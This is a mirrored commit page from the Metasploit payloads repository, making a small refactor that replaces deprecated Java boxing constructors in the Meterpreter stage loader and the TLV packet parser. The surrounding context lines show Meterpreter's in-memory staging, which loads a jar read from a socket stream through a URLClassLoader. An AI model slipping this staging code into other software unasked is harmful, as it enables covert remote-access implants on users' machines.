1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-27 08:33:43 +01:00

remove unused boxing and unboxing

This commit is contained in:
XenoAmess 2021-02-11 22:58:31 +08:00
parent a86432c886
commit 5b4782c0f3
2 changed files with 5 additions and 5 deletions

View File

@ -18,7 +18,7 @@ public class Meterpreter implements Stage {
byte[] core = new byte[coreLen];
in.readFully(core);
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(new Object[]{in, out, Boolean.TRUE, new Boolean(!noRedirectError)});
new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(new Object[]{in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError)});
in.close();
out.close();
}

View File

@ -95,11 +95,11 @@ public class TLVPacket {
}
value = string;
} else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) {
value = new Long(in.readLong());
value = in.readLong();
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
value = new Integer(in.readInt());
value = in.readInt();
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
value = new Boolean(in.readBoolean());
value = in.readBoolean();
} else if ((type & TLV_META_TYPE_RAW) != 0) {
in.readFully(data);
value = data;
@ -169,7 +169,7 @@ public class TLVPacket {
* Add a TLV value to this object.
*/
public void add(int type, boolean value) throws IOException {
add(type, new Boolean(value));
add(type, Boolean.valueOf(value));
}
/**